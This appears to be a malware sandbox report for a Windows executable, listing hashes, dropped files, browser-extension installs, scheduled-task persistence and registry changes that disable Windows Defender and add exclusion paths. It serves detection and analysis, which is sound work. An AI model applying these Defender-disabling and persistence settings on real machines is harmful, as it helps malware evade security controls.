Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
241s -
max time network
242s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
11/07/2024, 22:30
Static task
static1
Behavioral task
behavioral1
Sample
1198dc190ed27298129983e6218e63c279482b34adf78706247b054da569769a.exe
Resource
win7-20240704-en
General
-
Target
1198dc190ed27298129983e6218e63c279482b34adf78706247b054da569769a.exe
-
Size
7.3MB
-
MD5
558ae61d8bde0d3b462d107bfa97dbf9
-
SHA1
7dabedf987662afcdc130789fea9160a7cd691f7
-
SHA256
1198dc190ed27298129983e6218e63c279482b34adf78706247b054da569769a
-
SHA512
ed03d407c4a6cf86811b41b2a98507d1761fe973090528e3626220993cf79426192f140f5ef484006f7df9356f3681ae619ca3b7361f3e6c110de627cf4ba956
-
SSDEEP
196608:91OQ1cb5pCftP4ejDeulXsZWddPgQA+umWKYlUNAcJX:3OQ1cbfCh4IJlXZ1zWcNlJX
Malware Config
Signatures
-
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\RkUDfeHyKRZhrXlO = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\RkUDfeHyKRZhrXlO = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\OniiUkVuU = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\RfQdYYQjhFJxkqVB = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\RkUDfeHyKRZhrXlO = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\RkUDfeHyKRZhrXlO = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\OniiUkVuU = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\NFFblPWVSTUU2 = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YKxKHFRmqrfWRbNUYLR = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\oMPLyiqsgsRtC = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\RfQdYYQjhFJxkqVB = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\ClVBtfBcTpyyeRnZp = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\eveqWKwISMUn = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\oMPLyiqsgsRtC = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\NFFblPWVSTUU2 = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YKxKHFRmqrfWRbNUYLR = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\eveqWKwISMUn = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\ClVBtfBcTpyyeRnZp = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe -
Blocklisted process makes network request 1 IoCs
flow pid Process 27 2624 rundll32.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell and hide display window.
pid Process 2168 powershell.EXE 2328 powershell.EXE 2852 powershell.exe 1736 powershell.EXE 2864 powershell.exe 2420 powershell.exe 2592 powershell.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Control Panel\International\Geo\Nation oNEGcQe.exe -
Executes dropped EXE 4 IoCs
pid Process 2332 Install.exe 2824 Install.exe 2944 vxubuTV.exe 1640 oNEGcQe.exe -
Loads dropped DLL 23 IoCs
pid Process 2632 1198dc190ed27298129983e6218e63c279482b34adf78706247b054da569769a.exe 2332 Install.exe 2332 Install.exe 2332 Install.exe 2332 Install.exe 2824 Install.exe 2824 Install.exe 2824 Install.exe 2020 WerFault.exe 2020 WerFault.exe 2020 WerFault.exe 2624 rundll32.exe 2624 rundll32.exe 2624 rundll32.exe 2624 rundll32.exe 1564 WerFault.exe 1564 WerFault.exe 1564 WerFault.exe 1564 WerFault.exe 1564 WerFault.exe 2024 WerFault.exe 2024 WerFault.exe 2024 WerFault.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops Chrome extension 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json oNEGcQe.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json oNEGcQe.exe -
Drops file in System32 directory 24 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_76B4AC942398240FF309817636D6DBC9 oNEGcQe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDE8B1B7E253A9758EC380BD648952AF_A3D4688236962EEA03574DE4F61B95D9 oNEGcQe.exe File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol vxubuTV.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat oNEGcQe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA oNEGcQe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199 oNEGcQe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_76B4AC942398240FF309817636D6DBC9 oNEGcQe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_D55A76EA86A3695733B952639E5D4848 oNEGcQe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat rundll32.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini vxubuTV.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDE8B1B7E253A9758EC380BD648952AF_A3D4688236962EEA03574DE4F61B95D9 oNEGcQe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_D55A76EA86A3695733B952639E5D4848 oNEGcQe.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA oNEGcQe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199 oNEGcQe.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol oNEGcQe.exe File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File created C:\Windows\system32\GroupPolicy\gpt.ini vxubuTV.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol vxubuTV.exe File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Drops file in Program Files directory 13 IoCs
description ioc Process File created C:\Program Files (x86)\OniiUkVuU\vAXiPmh.xml oNEGcQe.exe File created C:\Program Files (x86)\NFFblPWVSTUU2\WQcDojUcAPAtH.dll oNEGcQe.exe File created C:\Program Files (x86)\YKxKHFRmqrfWRbNUYLR\EKFCsrG.dll oNEGcQe.exe File created C:\Program Files (x86)\oMPLyiqsgsRtC\wsjOqDc.dll oNEGcQe.exe File created C:\Program Files (x86)\eveqWKwISMUn\MnUDwTI.dll oNEGcQe.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi oNEGcQe.exe File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak oNEGcQe.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja oNEGcQe.exe File created C:\Program Files (x86)\OniiUkVuU\QDjcPt.dll oNEGcQe.exe File created C:\Program Files (x86)\oMPLyiqsgsRtC\cDVmEQp.xml oNEGcQe.exe File created C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi oNEGcQe.exe File created C:\Program Files (x86)\NFFblPWVSTUU2\ZIPoIhp.xml oNEGcQe.exe File created C:\Program Files (x86)\YKxKHFRmqrfWRbNUYLR\wlSPlev.xml oNEGcQe.exe -
Drops file in Windows directory 4 IoCs
description ioc Process File created C:\Windows\Tasks\bYIjjyXTgczhZAJGMW.job schtasks.exe File created C:\Windows\Tasks\akamOyUwOLVWEybrw.job schtasks.exe File created C:\Windows\Tasks\yDlQlQjTItyRqSH.job schtasks.exe File created C:\Windows\Tasks\DxfwWIkYFsDOIQKWf.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 3 IoCs
pid pid_target Process procid_target 2020 2944 WerFault.exe 42 1564 2824 WerFault.exe 32 2024 1640 WerFault.exe 186 -
Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad rundll32.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ae-94-0c-48-cd-c7\WpadDetectedUrl rundll32.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{B72096E9-36F5-4535-A22E-726074A352E2}\ae-94-0c-48-cd-c7 rundll32.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{B72096E9-36F5-4535-A22E-726074A352E2}\ae-94-0c-48-cd-c7 oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust oNEGcQe.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" vxubuTV.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ae-94-0c-48-cd-c7\WpadDecisionTime = 10f69d50e2d3da01 oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached vxubuTV.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" oNEGcQe.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{B72096E9-36F5-4535-A22E-726074A352E2}\WpadDecision = "0" oNEGcQe.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ae-94-0c-48-cd-c7\WpadDecision = "0" oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs oNEGcQe.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ae-94-0c-48-cd-c7\WpadDecisionReason = "1" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates oNEGcQe.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b005993ce2d3da01 powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{B72096E9-36F5-4535-A22E-726074A352E2}\WpadDecisionReason = "1" oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing wscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs oNEGcQe.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ vxubuTV.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates oNEGcQe.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{B72096E9-36F5-4535-A22E-726074A352E2}\WpadDecisionTime = 10f69d50e2d3da01 oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs oNEGcQe.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host wscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ae-94-0c-48-cd-c7 oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates oNEGcQe.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0088000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 rundll32.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\Software wscript.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft wscript.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ae-94-0c-48-cd-c7\WpadDecisionReason = "1" oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs oNEGcQe.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0088000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{B72096E9-36F5-4535-A22E-726074A352E2} oNEGcQe.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{B72096E9-36F5-4535-A22E-726074A352E2}\WpadNetworkName = "Network 2" oNEGcQe.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ oNEGcQe.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix oNEGcQe.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" wscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad oNEGcQe.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs oNEGcQe.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 12 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1868 schtasks.exe 2580 schtasks.exe 2264 schtasks.exe 1952 schtasks.exe 1796 schtasks.exe 1980 schtasks.exe 1692 schtasks.exe 2192 schtasks.exe 1524 schtasks.exe 2624 schtasks.exe 2940 schtasks.exe 2580 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 2592 powershell.exe 2168 powershell.EXE 2168 powershell.EXE 2168 powershell.EXE 2328 powershell.EXE 2328 powershell.EXE 2328 powershell.EXE 2852 powershell.exe 1736 powershell.EXE 1736 powershell.EXE 1736 powershell.EXE 1640 oNEGcQe.exe 1640 oNEGcQe.exe 1640 oNEGcQe.exe 1640 oNEGcQe.exe 1640 oNEGcQe.exe 1640 oNEGcQe.exe 1640 oNEGcQe.exe 1640 oNEGcQe.exe 2864 powershell.exe 2420 powershell.exe 1640 oNEGcQe.exe 1640 oNEGcQe.exe 1640 oNEGcQe.exe 1640 oNEGcQe.exe 1640 oNEGcQe.exe 1640 oNEGcQe.exe 1640 oNEGcQe.exe 1640 oNEGcQe.exe 1640 oNEGcQe.exe -
Suspicious use of AdjustPrivilegeToken 63 IoCs
description pid Process Token: SeDebugPrivilege 2592 powershell.exe Token: SeIncreaseQuotaPrivilege 1636 WMIC.exe Token: SeSecurityPrivilege 1636 WMIC.exe Token: SeTakeOwnershipPrivilege 1636 WMIC.exe Token: SeLoadDriverPrivilege 1636 WMIC.exe Token: SeSystemProfilePrivilege 1636 WMIC.exe Token: SeSystemtimePrivilege 1636 WMIC.exe Token: SeProfSingleProcessPrivilege 1636 WMIC.exe Token: SeIncBasePriorityPrivilege 1636 WMIC.exe Token: SeCreatePagefilePrivilege 1636 WMIC.exe Token: SeBackupPrivilege 1636 WMIC.exe Token: SeRestorePrivilege 1636 WMIC.exe Token: SeShutdownPrivilege 1636 WMIC.exe Token: SeDebugPrivilege 1636 WMIC.exe Token: SeSystemEnvironmentPrivilege 1636 WMIC.exe Token: SeRemoteShutdownPrivilege 1636 WMIC.exe Token: SeUndockPrivilege 1636 WMIC.exe Token: SeManageVolumePrivilege 1636 WMIC.exe Token: 33 1636 WMIC.exe Token: 34 1636 WMIC.exe Token: 35 1636 WMIC.exe Token: SeDebugPrivilege 2168 powershell.EXE Token: SeDebugPrivilege 2328 powershell.EXE Token: SeDebugPrivilege 2852 powershell.exe Token: SeAssignPrimaryTokenPrivilege 2536 WMIC.exe Token: SeIncreaseQuotaPrivilege 2536 WMIC.exe Token: SeSecurityPrivilege 2536 WMIC.exe Token: SeTakeOwnershipPrivilege 2536 WMIC.exe Token: SeLoadDriverPrivilege 2536 WMIC.exe Token: SeSystemtimePrivilege 2536 WMIC.exe Token: SeBackupPrivilege 2536 WMIC.exe Token: SeRestorePrivilege 2536 WMIC.exe Token: SeShutdownPrivilege 2536 WMIC.exe Token: SeSystemEnvironmentPrivilege 2536 WMIC.exe Token: SeUndockPrivilege 2536 WMIC.exe Token: SeManageVolumePrivilege 2536 WMIC.exe Token: SeDebugPrivilege 1736 powershell.EXE Token: SeDebugPrivilege 2864 powershell.exe Token: SeAssignPrimaryTokenPrivilege 2024 WMIC.exe Token: SeIncreaseQuotaPrivilege 2024 WMIC.exe Token: SeSecurityPrivilege 2024 WMIC.exe Token: SeTakeOwnershipPrivilege 2024 WMIC.exe Token: SeLoadDriverPrivilege 2024 WMIC.exe Token: SeSystemtimePrivilege 2024 WMIC.exe Token: SeBackupPrivilege 2024 WMIC.exe Token: SeRestorePrivilege 2024 WMIC.exe Token: SeShutdownPrivilege 2024 